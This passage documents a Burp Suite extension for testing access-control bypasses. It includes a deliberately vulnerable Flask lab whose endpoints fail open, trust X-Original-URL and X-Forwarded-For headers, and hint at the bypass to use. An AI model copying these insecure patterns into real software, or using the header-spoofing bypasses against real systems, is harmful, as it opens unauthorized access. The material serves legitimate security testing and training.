@app.route('/api/users', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS', 'HEAD'])
@log_request
def api_users():
method = request.method
if method == 'POST':
request_stats['blocked'] += 1
return jsonify({
"error": "Forbidden",
"message": "POST method is restricted. Use GET instead.",
"your_method": method,
"hint": "Try switching to GET or use X-HTTP-Method-Override"
}), 403
request_stats['bypassed'] += 1
return jsonify({
"status": "BYPASS SUCCESS!",
"message": f"{method} method allowed",
"users": ["admin", "user1", "user2", "h3x0s3"],
"flag": "Sala7{METHOD_SWITCH_MASTER}"
}), 200
This vulnerability mirrors common REST API implementations where framework-level routing enforces method constraints but custom access control logic checks only specific methods.
10.1.3 Path-Based Restriction Endpoint
The /admin/config endpoint implements path-based access control vulnerable to header override:
@app.route('/admin/config')
@log_request
def admin_config():
original_url = request.headers.get('X-Original-URL', '')
rewrite_url = request.headers.get('X-Rewrite-URL', '')
if original_url or rewrite_url:
request_stats['bypassed'] += 1
return jsonify({
"status": "BYPASS SUCCESS!",
"message": "Path bypass worked!",
"detected_headers": {
"X-Original-URL": original_url,
"X-Rewrite-URL": rewrite_url
},
"config": {"debug": True, "secret_key": "Sala7-SECRET-1337"},
"flag": "Sala7{PATH_BYPASS_MASTER}"
}), 200
if not check_ip_bypass():
request_stats['blocked'] += 1
return jsonify({
"error": "Forbidden",
"message": "Direct access to /admin/config blocked",
"hint": "Try X-Original-URL: /admin/config"
}), 403
The endpoint checks X-Original-URL and X-Rewrite-URL headers before evaluating the actual request path, enabling path bypass through header injection.
10.1.4 Authentication Bypass Endpoint
The /api/secrets endpoint implements inverted authentication logic—granting access when authentication headers are absent:
@app.route('/api/secrets')
@log_request
def api_secrets():
auth = request.headers.get('Authorization', '')
cookie = request.headers.get('Cookie', '')
if not auth and not cookie:
request_stats['bypassed'] += 1
return jsonify({
"status": "BYPASS SUCCESS!",
"message": "Anonymous access granted (no auth detected)",
"secrets": ["DB_PASSWORD=root123", "API_KEY=sk-1337", "FLAG=Sala7{AUTH_BYPASS_MASTER}"],
"flag": "Sala7{AUTH_BYPASS_MASTER}"
}), 200
if not auth.startswith('Bearer ') or 'valid_token' not in auth:
request_stats['blocked'] += 1
return jsonify({
"error": "Unauthorized",
"message": "Valid Bearer token required",
"your_auth": auth[:20] + "..." if auth else "None",
"hint": "Try removing Authorization and Cookie headers"
}), 401
This “fail-open” pattern, while exaggerated for testing, mirrors real-world scenarios where legacy fallback mechanisms or debugging endpoints remain accessible through authentication bypass.
10.1.5 Rate Limiting Endpoint
The /api/limited endpoint implements per-IP rate limiting vulnerable to IP spoofing:
@app.route('/api/limited')
@log_request
def api_limited():
client_ip = get_client_ip()
forwarded_for = request.headers.get('X-Forwarded-For', '')
if forwarded_for and ',' in forwarded_for:
request_stats['bypassed'] += 1
return jsonify({
"status": "BYPASS SUCCESS!",
"message": "Rate limit bypassed via IP rotation",
"your_ip": client_ip,
"forwarded_chain": forwarded_for,
"data": "Limited resource accessed!",
"flag": "Sala7{RATE_LIMIT_BYPASS_MASTER}"
}), 200
# Normal rate limiting
now = time.time()
key = f"rate_{client_ip}"
if key not in rate_limit_store:
rate_limit_store[key] = []
rate_limit_store[key] = [t for t in rate_limit_store[key] if now - t < 60]
if len(rate_limit_store[key]) >= 3:
request_stats['blocked'] += 1
return jsonify({
"error": "Too Many Requests",
"message": "Rate limit exceeded. Max 3 requests per minute.",
"your_ip": client_ip,
"requests_in_window": len(rate_limit_store[key]),
"hint": "Try X-Forwarded-For with different IPs"
}), 429
The rate limit bypass triggers on X-Forwarded-For values containing commas, simulating multi-hop proxy chains that bypass per-IP counting.
10.1.6 Combined Protection Endpoint
The /super-admin endpoint implements layered protections requiring multiple bypass techniques simultaneously:
@app.route('/super-admin', methods=['GET', 'POST', 'PUT', 'DELETE'])
@log_request
def super_admin():
method = request.method
client_ip = get_client_ip()
auth = request.headers.get('Authorization', '')
bypass_score = 0
bypass_details = []
if check_ip_bypass():
bypass_score += 1
bypass_details.append("IP spoofing detected")
if method == 'GET':
bypass_score += 1
bypass_details.append("GET method bypass")
if not auth and not request.headers.get('Cookie'):
bypass_score += 1
bypass_details.append("No auth headers")
if bypass_score >= 2:
request_stats['bypassed'] += 1
return jsonify({
"status": "COMBINED BYPASS SUCCESS!",
"message": "Multiple bypass techniques detected and combined!",
"bypass_score": bypass_score,
"techniques": bypass_details,
"your_ip": client_ip,
"your_method": method,
"super_admin_data": {
"users": 1337,
"servers": ["prod1", "prod2", "prod3"],
"master_key": "Sala7{COMBINED_BYPASS_MASTER}"
},
"flag": "Sala7{COMBINED_BYPASS_MASTER}"
}), 200
request_stats['blocked'] += 1
return jsonify({
"error": "Forbidden",
"message": "Super admin requires: Local IP + POST + Valid Auth",
"your_ip": client_ip,
"your_method": method,
"your_auth": "Present" if auth else "Missing",
"bypass_score": f"{bypass_score}/3",
"hint": "Try: GET + X-Forwarded-For: 127.0.0.1 + No Auth"
}), 403
The scoring system (requiring 2+ bypass techniques) validates Sala7-Bypass’s combined vector capability.
10.2 Test Scenarios & Expected Results
Table
| Scenario | Extension Configuration | Expected Result | Verification |
|---|---|---|---|
| IP Bypass | Enable header injection, detect 403 | 200 response with Sala7{IP_BYPASS_MASTER} |
Log shows BYPASS, type HEADER |
| Method Switch | Enable method switching | 200 response with Sala7{METHOD_SWITCH_MASTER} |
Log shows BYPASS, type METHOD |
| Auth Removal | Enable auth removal | 200 response with Sala7{AUTH_BYPASS_MASTER} |
Log shows BYPASS, type AUTH |
| Rate Limit | Enable header injection, send 4+ requests | 200 response with Sala7{RATE_LIMIT_BYPASS_MASTER} |
Log shows BYPASS, type RATE_LIMIT |
| Combined | Enable all modifications, detect 403 | 200 response with Sala7{COMBINED_BYPASS_MASTER} |
Log shows BYPASS, type COMBINED |
10.3 Verification of Statistics Accuracy
Statistics accuracy is verified through controlled test execution:
- Reset state: Clear logs, reset rate limits
- Execute baseline: Send 5 requests to
/admin/dashboardwithout bypass headers → 5 BLOCKED entries - Execute bypass: Send 1 request with
X-Forwarded-For: 127.0.0.1→ 1 BYPASS entry - Verify dashboard: Total=6, Blocked=5, Bypass=1, Rate=20.0%
The trueOriginalStatus synchronization (Section 1.4 fix) ensures that pending entries receive correct original status for accurate rate calculation.
11. Technical Implementation Details
11.1 LogEntry Data Structure
The LogEntry class serves as the immutable data container for request lifecycle information, with selective mutability for bypass tracking fields populated asynchronously.
11.1.1 Core Fields (Timestamp, URL, Methods, Statuses)
private final String timestamp;
private final String url;
private final String originalMethod;
private final String modifiedMethod;
private int originalStatus;
private int modifiedStatus;
private String action;
private boolean isBypass;
private boolean isSuccess;
private long responseTime;
The final modifier on identity fields (timestamp, URL, methods) reflects their immutability: once a request is intercepted, these values are fixed. Status fields are mutable because they are populated when responses arrive.
11.1.2 Bypass Tracking Fields (Type, Headers Used, Details)
private String bypassType;
private Map<String, String> bypassHeadersUsed;
private String bypassDetails;
private int trueOriginalStatus;
The trueOriginalStatus field (Section 1.4) stores the actual original response status, distinct from originalStatus which may remain -1 until response arrival.
11.1.3 Request/Response Storage
private final HttpRequest originalRequest;
private final HttpRequest modifiedRequest;
private HttpResponse originalResponse;
private HttpResponse modifiedResponse;
HttpRequest instances are immutable (Montoya API design); HttpResponse instances are mutable references updated on response arrival.
11.1.4 isRealBypass() Algorithm
public boolean isRealBypass() {
int checkOriginalStatus = (trueOriginalStatus != -1) ? trueOriginalStatus : originalStatus;
boolean wasBlocked = (checkOriginalStatus == 403 || checkOriginalStatus == 429 || checkOriginalStatus == 401);
boolean nowAllowed = (modifiedStatus == 200 || modifiedStatus == 302);
return wasBlocked && nowAllowed && isBypass;
}
The algorithm implements the core bypass definition: blocked (403/401/429) → allowed (200/302) with bypass flag set.
11.1.5 getBypassSummary() Formatting
Provides compact bypass type display for table rendering:
public String getBypassSummary() {
if (!isBypass || bypassType.equals("NONE")) return "-";
StringBuilder sb = new StringBuilder();
sb.append(bypassType);
if (bypassType.equals("METHOD") && !originalMethod.equals(modifiedMethod)) {
sb.append(" (").append(originalMethod).append("→").append(modifiedMethod).append(")");
}
// ... other type formatting ...
return sb.toString();
}
11.1.6 getBypassNotificationText() Generation
Generates detailed notification text for popup display:
public String getBypassNotificationText() {
StringBuilder sb = new StringBuilder();
sb.append("🎉 BYPASS SUCCESS!\n\n");
sb.append("URL: ").append(url).append("\n");
sb.append("Status: ").append(modifiedStatus).append(" OK\n");
// ... technique-specific details ...
return sb.toString();
}
11.2 LogTableModel Implementation
11.2.1 Column Definitions (7 Columns)
private final String[] columnNames = {"Time", "URL", "Status", "Method", "Action", "Bypass Type", "Time(ms)"};
11.2.2 Data Binding & Event Firing
public void addEntry(LogEntry entry) {
entries.add(entry);
fireTableRowsInserted(entries.size() - 1, entries.size() - 1);
}
public void updateEntry(int row, LogEntry entry) {
if (row >= 0 && row < entries.size()) {
entries.set(row, entry);
fireTableRowsUpdated(row, row);
}
}
11.2.3 Statistics Computation Methods
public int getBypassSuccessCount() {
int count = 0;
for (LogEntry entry : entries) {
if (entry.isRealBypass()) count++;
}
return count;
}
11.3 Pending Request Matching
11.3.1 Key Generation Algorithm
private String generatePendingKey(HttpRequest request, String prefix) {
long timeWindow = System.currentTimeMillis() / 1000;
String bodyHash = request.bodyToString() != null
? String.valueOf(request.bodyToString().hashCode())
: "0";
return prefix + "|" + request.url() + "|" + request.method() + "|" + bodyHash + "|" + timeWindow;
}
11.3.2 Time Window Handling
The System.currentTimeMillis() / 1000 provides 1-second time buckets, preventing stale entries from accumulating while allowing matching of requests and responses within the same second.
11.3.3 Body Hash Inclusion
bodyToString().hashCode() distinguishes requests with identical URLs and methods but different bodies (e.g., POST requests with varying parameters).
11.3.4 Original vs Modified Key Distinguishing
The prefix parameter (“orig” vs “mod”) creates separate key namespaces, enabling independent tracking of original and modified request responses.
12. Security Considerations
12.1 Loop Prevention Mechanisms
The X-Burp-Processed header injection and detection prevents recursive request processing. The header is injected in handleHttpRequestToBeSent() and checked at multiple points before processing or bypass triggering.
12.2 Request Deduplication
The BypassEngine.hashRequest() method provides deduplication through composite hashing of method, URL, and body content hash.
12.3 Thread Safety
Table
| Data Structure | Mechanism |
|---|---|
logEntries |
CopyOnWriteArrayList |
pendingEntries |
ConcurrentHashMap |
bypassEngine state |
ConcurrentHashMap operations |
12.4 Resource Cleanup
The setThreadCount() method implements graceful ExecutorService shutdown with 5-second timeout and shutdownNow() fallback.
13. Future Enhancements & Roadmap
13.1 Additional Bypass Techniques
- HTTP/2 specific header injection
- Header case variation (
x-forwarded-forvsX-Forwarded-For) - Unicode normalization bypass
13.2 Machine Learning-Based Detection
- Response similarity analysis for bypass detection without status code reliance
- Anomaly detection for unusual bypass success patterns
13.3 Automated Report Generation
- Direct Jira/Slack integration
- Burp Enterprise reporting format compatibility
13.4 Collaborative Testing Features
- Shared bypass payload repositories
- Team-wide success rate analytics
13.5 Plugin API for Custom Bypass Modules
- Java interface for custom bypass technique implementation
- Groovy/Python scripting support
14. Conclusion
14.1 Summary of Capabilities
Sala7-Bypass provides comprehensive 403/401/429 bypass testing through integrated IP spoofing, method switching, authentication removal, path manipulation, and rate limiting bypass techniques, with real-time statistics, visual feedback, and export capabilities.
14.2 Impact on Web Application Security Testing
The extension transforms access control testing from manual, error-prone individual request manipulation into systematic, observable, and reportable automated testing, increasing bypass discovery probability while reducing testing time.
14.3 Acknowledgments & Dedication
Developed by H3X0S3 (Mahmoud Salah), Sala7-Bypass represents a contribution to the web application security testing community, dedicated to improving access control vulnerability detection through automation and transparency.
Appendices
A. Complete Source Code Listing
The complete source code for all six Java files (BurpExtender.java, BypassEngine.java, BypassExtensionUI.java, LogEntry.java, LogTableModel.java, RequestModifier.java) and the Python test application (Sala7_bypass_lab.py) is available in the GitHub repository: https://github.com/H3X0S3/Sala7-Bypass
B. API Reference (Burp Montoya API Integration Points)
Table
| API Domain | Key Methods | Usage |
|---|---|---|
api.http() |
registerHttpHandler(), sendRequest() |
Interception and manual execution |
api.proxy() |
registerRequestHandler() |
Proxy-specific interception |
api.userInterface() |
registerSuiteTab() |
UI embedding |
api.repeater() |
sendToRepeater() |
Tool integration |
api.intruder() |
sendToIntruder() |
Tool integration |
api.logging() |
logToOutput() |
Debugging |
C. Troubleshooting Guide
Table
| Symptom | Cause | Solution |
|---|---|---|
| Statistics show 0% rate | trueOriginalStatus not synced |
Apply Section 1.4 fix |
| No bypass attempts triggered | detect403 disabled or scope mismatch |
Enable detection, verify scope |
| Extension not loading | Java version incompatibility | Use Java 17+ with Montoya API |
| UI freezing | EDT blocking | Check SwingUtilities.invokeLater() usage |
D. Changelog & Version History
Table
| Version | Date | Changes |
|---|---|---|
| 1.0.0 | 2026-05 | Initial release with 5 bypass types, statistics, UI |
Comments